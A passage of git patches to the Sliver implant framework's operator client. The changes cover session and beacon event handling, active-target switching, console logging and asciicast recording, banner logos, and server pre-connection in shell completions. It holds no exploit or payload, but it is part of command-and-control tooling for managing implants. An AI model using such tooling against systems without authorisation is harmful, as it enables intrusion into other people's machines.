"-")[0] + con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v", + shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) + activeSession := con.ActiveTarget.GetSession() + core.GetTunnels().CloseForSession(session.ID) + core.CloseCursedProcesses(session.ID) + if activeSession != nil && activeSession.ID == session.ID { + con.ActiveTarget.Set(nil, nil) + con.PrintErrorf("Active session disconnected") + } + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.RemoveImplant(session) + if err != nil { + con.PrintErrorf("Could not remove session from Operator: %s", err) + } + con.PrintInfof("Removed session %s from Operator", session.Name) + } + + case consts.BeaconRegisteredEvent: + beacon := &clientpb.Beacon{} + proto.Unmarshal(event.Data, beacon) + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(beacon.ID, "-")[0] + con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v", + shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime) + + // Prelude Operator + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { + con.AddBeaconCallback(taskID, cb) + }) + if err != nil { + con.PrintErrorf("Could not add beacon to Operator: %s", err) + } + } + + case consts.BeaconTaskResultEvent: + con.triggerBeaconTaskCallback(event.Data) + } + + con.triggerReactions(event) + } +} + +// CreateEventListener - creates a new event listener and returns its ID. +func (con *SliverClient) CreateEventListener() (string, <-chan *clientpb.Event) { + listener := make(chan *clientpb.Event, 100) + listenerID, _ := uuid.NewV4() + con.EventListeners.Store(listenerID.String(), listener) + return listenerID.String(), listener +} + +// RemoveEventListener - removes an event listener given its id. +func (con *SliverClient) RemoveEventListener(listenerID string) { + value, ok := con.EventListeners.LoadAndDelete(listenerID) + if ok { + close(value.(chan *clientpb.Event)) + } +} + +func (con *SliverClient) triggerEventListeners(event *clientpb.Event) { + con.EventListeners.Range(func(key, value interface{}) bool { + listener := value.(chan *clientpb.Event) + listener <- event // Do not block while sending the event to the listener + return true + }) +} + +func (con *SliverClient) triggerReactions(event *clientpb.Event) { + reactions := core.Reactions.On(event.EventType) + if len(reactions) == 0 { + return + } + + // We need some special handling for SessionOpenedEvent to + // set the new session as the active session + currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get() + defer func() { + con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon) + }() + + if event.EventType == consts.SessionOpenedEvent { + con.ActiveTarget.Set(nil, nil) + + con.ActiveTarget.Set(event.Session, nil) + } else if event.EventType == consts.BeaconRegisteredEvent { + con.ActiveTarget.Set(nil, nil) + + beacon := &clientpb.Beacon{} + proto.Unmarshal(event.Data, beacon) + con.ActiveTarget.Set(nil, beacon) + } + + for _, reaction := range reactions { + for _, line := range reaction.Commands { + con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) + err := con.App.ActiveMenu().RunCommand(line) + if err != nil { + con.PrintErrorf("Reaction command error: %s\n", err) + } + } + } +} + +// triggerBeaconTaskCallback - Triggers the callback for a beacon task. +func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { + task := &clientpb.BeaconTask{} + err := proto.Unmarshal(data, task) + if err != nil { + con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) + return + } + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) + + // If the callback is not in our map then we don't do anything, the beacon task + // was either issued by another operator in multiplayer mode or the client process + // was restarted between the time the task was created and when the server got the result + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { + if con.Settings.BeaconAutoResults { + if beacon != nil { + con.PrintSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) + } + task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ + ID: task.ID, + }) + con.Printf(Clearln + "\r") + if err == nil { + callback(task_content) + } else { + con.PrintErrorf("Could not get beacon task content: %s", err) + } + } + delete(con.BeaconTaskCallbacks, task.ID) + } +} + +func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + con.BeaconTaskCallbacks[taskID] = callback +} diff --git a/client/console/implant.go b/client/console/implant.go new file mode 100644 index 0000000000..7d98d8a129 --- /dev/null +++ b/client/console/implant.go @@ -0,0 +1,191 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "time" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" +) + +type ActiveTarget struct { + session *clientpb.Session + beacon *clientpb.Beacon + observers map[int]Observer + observerID int + con *SliverClient +} + +// GetSessionInteractive - Get the active target(s). +func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { + if s.session == nil && s.beacon == nil { + fmt.Printf(Warn + "Please select a session or beacon via `use`\n") + return nil, nil + } + return s.session, s.beacon +} + +// GetSessionInteractive - Get the active target(s). +func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { + return s.session, s.beacon +} + +// GetSessionInteractive - GetSessionInteractive the active session. +func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { + if s.session == nil { + fmt.Printf(Warn + "Please select a session via `use`\n") + return nil + } + return s.session +} + +// GetSession - Same as GetSession() but doesn't print a warning. +func (s *ActiveTarget) GetSession() *clientpb.Session { + return s.session +} + +// GetBeaconInteractive - Get beacon interactive the active session. +func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { + if s.beacon == nil { + fmt.Printf(Warn + "Please select a beacon via `use`\n") + return nil + } + return s.beacon +} + +// GetBeacon - Same as GetBeacon() but doesn't print a warning. +func (s *ActiveTarget) GetBeacon() *clientpb.Beacon { + return s.beacon +} + +// IsSession - Is the current target a session? +func (s *ActiveTarget) IsSession() bool { + return s.session != nil +} + +// AddObserver - Observers to notify when the active session changes. +func (s *ActiveTarget) AddObserver(observer Observer) int { + s.observerID++ + s.observers[s.observerID] = observer + return s.observerID +} + +func (s *ActiveTarget) RemoveObserver(observerID int) { + delete(s.observers, observerID) +} + +func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { + if s.session == nil && s.beacon == nil { + return nil + } + + // One less than the gRPC timeout so that the server should timeout first + timeOutF := int64(defaultTimeout) - 1 + if cmd != nil { + timeOutF, _ = cmd.Flags().GetInt64("timeout") + } + timeout := (int64(time.Second) * timeOutF) - 1 + + req := &commonpb.Request{} + req.Timeout = timeout + + if s.session != nil { + req.Async = false + req.SessionID = s.session.ID + } + if s.beacon != nil { + req.Async = true + req.BeaconID = s.beacon.ID + } + return req +} + +// Set - Change the active session. +func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { + if session != nil && beacon != nil { + s.con.PrintErrorf("cannot set both an active beacon and an active session") + return + } + + defer s.con.ExposeCommands() + + // Backgrounding + if session == nil && beacon == nil { + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + + if s.con.IsCLI { + return + } + + // Switch back to server menu. + if s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } + + return + } + + // Foreground + if session != nil { + s.session = session + s.beacon = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + } else if beacon != nil { + s.beacon = beacon + s.session = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + } + + if s.con.IsCLI { + return + } + + // Update menus, prompts and commands + if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ImplantMenu) + } +} + +// Background - Background the active session. +func (s *ActiveTarget) Background() { + defer s.con.App.ShowCommands() + + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(nil, nil) + } + + // Switch back to server menu. + if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } +} diff --git a/client/console/log.go b/client/console/log.go index dde03bf9d2..740074908a 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -51,6 +51,60 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { return len(buf), err } +func (con *SliverClient) startClientLog() error { + if con.IsCompleting { + return nil + } + + if !con.Settings.ConsoleLogs { + return nil + } + + // Classic logs. + clientLogFile := getConsoleLogFile() + + clientLogs, err := con.ClientLogStream("json") + if err != nil { + return fmt.Errorf("Could not get client log stream: %w", err) + } + + con.setupLogger(clientLogFile, clientLogs) + + // Asciicast sessions. + asciicastFile := getConsoleAsciicastFile() + + asciicastStream, err := con.ClientLogStream("asciicast") + if err != nil { + return fmt.Errorf("Could not get client log stream: %w", err) + } + + err = con.setupAsciicastRecord(asciicastFile, asciicastStream) + + con.closeLogs = func() { + // Local files + clientLogFile.Close() + asciicastFile.Close() + + // Server streams. + clientLogs.Stream.CloseAndRecv() + asciicastStream.Stream.CloseAndRecv() + } + + return nil +} + +func (con *SliverClient) CloseClientLog() { + if con.closeLogs == nil { + return + } + + defer func() { + con.closeLogs = nil + }() + + con.closeLogs() +} + // ClientLogStream requires a log stream name, used to save the logs // going through this stream in a specific log subdirectory/file. func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { @@ -82,31 +136,35 @@ func (con *SliverClient) logCommand(args []string) ([]string, error) { return args, nil } -func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer) { - x, y, err := term.GetSize(int(os.Stdin.Fd())) +func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer) error { + width, height, err := term.GetSize(int(os.Stdin.Fd())) if err != nil { - x, y = 80, 80 + width, height = 80, 80 } // Save the asciicast to the server and a local file. destinations := io.MultiWriter(logFile, server) - encoder := asciicast.NewEncoder(destinations, x, y) - encoder.WriteHeader() + encoder := asciicast.NewEncoder(destinations, width, height) + if err := encoder.WriteHeader(); err != nil { + return err + } // save existing stdout | MultiWriter writes to saved stdout and file out := os.Stdout - mw := io.MultiWriter(out, encoder) + multiOut := io.MultiWriter(out, encoder) // get pipe reader and writer | writes to pipe writer come out pipe reader - r, w, _ := os.Pipe() + read, write, _ := os.Pipe() // replace stdout,stderr with pipe writer | all writes to stdout, // stderr will go through pipe instead (fmt.print, log) - os.Stdout = w - os.Stderr = w + os.Stdout = write + os.Stderr = write + + go io.Copy(multiOut, read) - go io.Copy(mw, r) + return nil } func getConsoleLogFile() *os.File { diff --git a/client/console/readline.go b/client/console/readline.go new file mode 100644 index 0000000000..3f1f65e1e7 --- /dev/null +++ b/client/console/readline.go @@ -0,0 +1,158 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bufio" + "context" + "fmt" + insecureRand "math/rand" + "os" + "strings" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/reeflective/console" +) + +func (con *SliverClient) GetPrompt() string { + prompt := Underline + "sliver" + Normal + if con.IsServer { + prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal + } + if con.ActiveTarget.GetSession() != nil { + prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal) + } else if con.ActiveTarget.GetBeacon() != nil { + prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) + } + prompt += " > " + return Clearln + prompt +} + +func (con *SliverClient) PrintLogo() { + serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + panic(err.Error()) + } + dirty := "" + if serverVer.Dirty { + dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) + } + serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) + + logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] + fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) + fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") + fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) + if version.GitCommit != serverVer.Commit { + fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) + } + fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") + if serverVer.Major != int32(version.SemanticVersion()[0]) { + fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") + } + con.CheckLastUpdate() +} + +// exitConsole prompts the user for confirmation to exit the console. +func (c *SliverClient) exitConsole(_ *console.Console) { + reader := bufio.NewReader(os.Stdin) + fmt.Print("Confirm exit (Y/y, Ctrl-C): ") + text, _ := reader.ReadString('\n') + answer := strings.TrimSpace(text) + + if (answer == "Y") || (answer == "y") { + os.Exit(0) + } +} + +// exitImplantMenu uses the background command to detach from the implant menu. +func (c *SliverClient) exitImplantMenu(_ *console.Console) { + root := c.App.Menu(consts.ImplantMenu).Command + root.SetArgs([]string{"background"}) + root.Execute() +} + +var abilities = []string{ + "first strike", + "vigilance", + "haste", + "indestructible", + "hexproof", + "deathtouch", + "fear", + "epic", + "ninjitsu", + "recover", + "persist", + "conspire", + "reinforce", + "exalted", + "annihilator", + "infect", + "undying", + "living weapon", + "miracle", + "scavenge", + "cipher", + "evolve", + "dethrone", + "hidden agenda", + "prowess", + "dash", + "exploit", + "renown", + "skulk", + "improvise", + "assist", + "jump-start", +} + +var asciiLogos = []string{ + Red + ` + ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ + ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ + ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ + ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ + ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ + ▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░ + ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ +` + Normal, + + Green + ` + ███████╗██╗ ██╗██╗ ██╗███████╗██████╗ + ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ + ███████╗██║ ██║██║ ██║█████╗ ██████╔╝ + ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ + ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ + ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ +` + Normal, + + Bold + Gray + ` +.------..------..------..------..------..------. +|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | +| :/\: || :/\: || (\/) || :(): || (\/) || :(): | +| :\/: || (__) || :\/: || ()() || :\/: || ()() | +| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| +` + "`------'`------'`------'`------'`------'`------'" + ` +` + Normal, +} diff --git a/client/transport/client.go b/client/transport/client.go index 06130f59df..0440409d51 100644 --- a/client/transport/client.go +++ b/client/transport/client.go @@ -135,6 +135,10 @@ func (h *Teamclient) Dial() (rpcClient any, err error) { // Close implements team/client.Dialer.Close(), and closes the gRPC client connection. func (h *Teamclient) Close() error { + if h.conn == nil { + return nil + } + return h.conn.Close() } From e3d202661d61e8c04c4b792eb3e19e568c2026b8 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 25 Jul 2023 01:59:33 +0200 Subject: [PATCH 036/124] Find a way more efficient to pre-connect in completions --- client/cli/cli.go | 4 +- client/cli/implant.go | 64 ++++------------------- client/command/beacons/commands.go | 4 ++ client/command/crack/commands.go | 7 ++- client/command/crack/crack.go | 9 ++-- client/command/crack/helpers.go | 12 +++++ client/command/creds/creds.go | 8 +++ client/command/dllhijack/commands.go | 7 ++- client/command/dllhijack/dllhijack.go | 5 +- client/command/generate/helpers.go | 12 +++++ client/command/generate/implants.go | 4 ++ client/command/generate/profiles.go | 4 ++ client/command/jobs/jobs.go | 4 ++ client/command/loot/commands.go | 7 ++- client/command/loot/fetch.go | 5 +- client/command/loot/helpers.go | 13 +++-- client/command/loot/local.go | 5 +- client/command/loot/loot.go | 13 +++-- client/command/loot/remote.go | 9 ++-- client/command/loot/rename.go | 5 +- client/command/loot/rm.go | 3 +- client/command/pivots/commands.go | 7 ++- client/command/pivots/details.go | 9 ++-- client/command/pivots/helpers.go | 4 ++ client/command/pivots/stop.go | 5 +- client/command/rportfwd/portfwd.go | 4 ++ client/command/server.go | 14 ----- client/command/tasks/helpers.go | 8 +++ client/command/use/beacons.go | 5 +- client/command/use/commands.go | 7 ++- client/command/use/sessions.go | 5 +- client/command/use/use.go | 19 ++++--- client/command/websites/websites.go | 4 ++ client/command/wireguard/wg-portfwd-rm.go | 4 ++ client/command/wireguard/wg-socks.go | 4 ++ client/console/console.go | 23 +++++++- client/console/log.go | 42 +++++++-------- 37 files changed, 196 insertions(+), 172 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 7b54112e82..f29d61b7a1 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -64,12 +64,14 @@ func Execute() { // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. - rootCmd.AddCommand(implantCmd(con)) // Pre/post runners and completions. command.BindRunners(rootCmd, true, preRunClient(con)) command.BindRunners(rootCmd, false, postRunClient(con)) + // For now don't include any pre-runners + rootCmd.AddCommand(implantCmd(con, sliverCmds)) + carapace.Gen(rootCmd) // Run the sliver client binary. diff --git a/client/cli/implant.go b/client/cli/implant.go index 6d609a7e19..2fa7537bd7 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -1,75 +1,29 @@ package cli import ( - "errors" - "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/use" - "github.com/bishopfox/sliver/client/console" + client "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" ) -func implantCmd(con *console.SliverClient) *cobra.Command { - con.IsCLI = true - - makeCommands := command.SliverCommands(con) - cmd := makeCommands() - cmd.Use = constants.ImplantMenu +func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { + implantCmd := sliverCmds() + implantCmd.Use = constants.ImplantMenu - // Flags implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError) implantFlags.StringP("use", "s", "", "interact with a session") - cmd.Flags().AddFlagSet(implantFlags) - - // Prerunners (console setup, connection, etc) - cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con) - - // Completions - makeCompleters(cmd, con) - - return cmd -} - -func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) { - // startConsole, closeConsole := consoleRunnerCmd(con, falsSliverClient - - // The pre-run function connects to the server and sets up a "fake" console, - // so we can have access to active sessions/beacons, and other stuff needed. - pre = func(_ *cobra.Command, args []string) error { - // startConsole(implantCmd, args) - - // Set the active target. - target, _ := implantCmd.Flags().GetString("use") - if target == "" { - return errors.New("no target implant to run command on") - } + implantCmd.Flags().AddFlagSet(implantFlags) - session := con.GetSession(target) - if session != nil { - con.ActiveTarget.Set(session, nil) - } - - return nil - } - - return pre, nil -} - -func makeCompleters(cmd *cobra.Command, con *console.SliverClient) { - comps := carapace.Gen(cmd) - - comps.PreRun(func(cmd *cobra.Command, args []string) { - cmd.PersistentPreRunE(cmd, args) - }) - - // Bind completers to flags (wrap them to use the same pre-runners) - command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { + command.BindFlagCompletions(implantCmd, func(comp *carapace.ActionMap) { (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - cmd.PersistentPreRunE(cmd, c.Args) return use.SessionIDCompleter(con) }) }) + + return implantCmd } diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index d44057c482..791a2f9fc6 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -80,6 +80,10 @@ func Commands(con *console.SliverClient) []*cobra.Command { // BeaconIDCompleter completes beacon IDs. func BeaconIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) diff --git a/client/command/crack/commands.go b/client/command/crack/commands.go index 7fc4e08df0..5ababc1579 100644 --- a/client/command/crack/commands.go +++ b/client/command/crack/commands.go @@ -1,14 +1,13 @@ package crack import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/crack/crack.go b/client/command/crack/crack.go index 163f0d8e9a..26ad3231a9 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -23,16 +23,15 @@ import ( "fmt" "sort" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// CrackCmd - GPU password cracking interface +// CrackCmd - GPU password cracking interface. func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if !AreCrackersOnline(con) { PrintNoCrackstations(con) @@ -57,7 +56,7 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// CrackStationsCmd - Manage GPU cracking stations +// CrackStationsCmd - Manage GPU cracking stations. func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index 7cc947348a..a8b5f15870 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -12,6 +12,10 @@ import ( func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) @@ -35,6 +39,10 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) @@ -59,6 +67,10 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { func CrackRulesCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 63f36728b7..97228cb777 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -112,6 +112,10 @@ func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { // CredsCollectionCompleter completes existing creds collection names. func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) @@ -135,6 +139,10 @@ func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { // CredsCredentialIDCompleter completes credential IDs. func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + results := make([]string, 0) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) diff --git a/client/command/dllhijack/commands.go b/client/command/dllhijack/commands.go index 54735cc958..86c5fc9e96 100644 --- a/client/command/dllhijack/commands.go +++ b/client/command/dllhijack/commands.go @@ -1,15 +1,14 @@ package dllhijack import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/dllhijack/dllhijack.go b/client/command/dllhijack/dllhijack.go index 5f9f40c8f0..360a84f6d1 100644 --- a/client/command/dllhijack/dllhijack.go +++ b/client/command/dllhijack/dllhijack.go @@ -23,17 +23,16 @@ import ( "fmt" "io/ioutil" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH -// DllHijackCmd -- implements the dllhijack command +// DllHijackCmd -- implements the dllhijack command. func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( localRefData []byte diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 186009bbfd..d7db989262 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -61,6 +61,10 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient // FormatCompleter completes builds' architectures. func ArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { return carapace.ActionMessage("No compiler info: %s", err.Error()) @@ -95,6 +99,10 @@ func ArchCompleter(con *console.SliverClient) carapace.Action { // FormatCompleter completes build operating systems. func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { return carapace.ActionMessage("No compiler info: %s", err.Error()) @@ -138,6 +146,10 @@ func FormatCompleter() carapace.Action { // TrafficEncoderCompleter - Completes the names of traffic encoders. func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + grpcCtx, cancel := con.GrpcContext(nil) defer cancel() trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 4f69ea5c48..3f75345984 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -125,6 +125,10 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl // ImplantBuildNameCompleter - Completer for implant build names. func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + var action carapace.Action builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index dd0f7ef925..ec70284e64 100644 --- a/client/command/generate/profiles.go 